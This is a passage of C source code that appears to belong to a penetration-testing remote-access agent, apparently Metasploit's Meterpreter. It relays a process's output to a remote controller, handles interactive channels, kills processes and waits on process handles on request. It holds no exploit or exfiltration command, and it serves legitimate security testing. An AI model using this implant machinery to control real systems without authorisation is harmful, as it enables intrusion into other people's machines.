		dprintf( "[PROCESS] terminating pid %u", ctx->pProcess );
		kill( (pid_t)ctx->pProcess, 9 );
	}
#endif

	free( ctx );
	if (channel_exists(channel))
	{
		channel->ops.pool.native.context = NULL;
	}

	return dwResult;
}

/*
 * Callback for when data is available on the standard output handle of
 * a process channel that is interactive mode
 */
DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext)
{
	Channel *channel = (Channel*)entryContext;
	ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
	DWORD bytesRead, bytesAvail = 0;
	CHAR buffer[16384];
	DWORD result = ERROR_SUCCESS;

	if (!channel_exists(channel) || ctx == NULL)
	{
		return result;
	}
#ifdef _WIN32
	if( PeekNamedPipe( ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL ) )
	{
		if( bytesAvail )
		{
			if( ReadFile( ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL ) )
			{
				return channel_write( channel, remote, NULL, 0, buffer, bytesRead, NULL );
			}
			result = GetLastError();
		}
		else
		{
			// sf: if no data is available on the pipe we sleep to avoid running a tight loop
			// in this thread, as anonymous pipes won't block for data to arrive.
			Sleep( 100 );
		}
	}
	else
	{
		result = GetLastError();
	}
#else
	bytesRead = read ( ctx->pStdout, buffer, sizeof(buffer) - 1);

	if ( bytesRead > 0 )

	{
		dprintf("bytesRead: %d, errno: %d", bytesRead, errno);

		result = channel_write ( channel, remote, NULL, 0, buffer, bytesRead, NULL );
	}

	if(bytesRead == -1) {
		if(errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) {
			errno = ERROR_SUCCESS;
		}
	}

	if(bytesRead == 0) {
		errno = ECONNRESET;
	}

	if(bytesRead <= 0) result = errno;

#endif
	if( result != ERROR_SUCCESS )
	{
		dprintf("Closing down socket: result: %d\n", result);
		process_channel_close( channel, NULL, ctx );
		channel_close( channel, remote, NULL, 0, NULL );
	}

	return result;
}

/*
 * Enables or disables interactivity with the standard output handle on the channel
 */
DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact)
{
	ProcessChannelContext *ctx = (ProcessChannelContext *)context;
	DWORD result = ERROR_SUCCESS;

	dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact );

	if (!channel_exists(channel) || ctx == NULL)
	{
		return result;
	}
	// If the remote side wants to interact with us, schedule the stdout handle
	// as a waitable item
	if (interact) {
		// try to resume it first, if it's not there, we can create a new entry
		if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) {
			result = scheduler_insert_waitable( ctx->pStdout, channel, context,
				(WaitableNotifyRoutine)process_channel_interact_notify,
				(WaitableDestroyRoutine)process_channel_interact_destroy );
		}
	} else { // Otherwise, pause it
		result = scheduler_signal_waitable( ctx->pStdout, Pause );
	}
	return result;
}

/*
 * Wait on a process handle until it terminates.
 *
 * req: TLV_TYPE_HANDLE - The process handle to wait on.
 */
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
{
	Packet * response = packet_create_response( packet );
	HANDLE handle     = NULL;
	DWORD result      = ERROR_INVALID_PARAMETER;

	handle = (HANDLE)packet_get_tlv_value_qword( packet, TLV_TYPE_HANDLE );
#ifdef _WIN32

	if( handle )
	{
		if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
			result = ERROR_SUCCESS;
	}
#else
	if( ! waitpid(handle, NULL, WNOHANG))
	{
		result = ERROR_SUCCESS;
	}
#endif
	packet_transmit_response( result, remote, response );

	return result;
}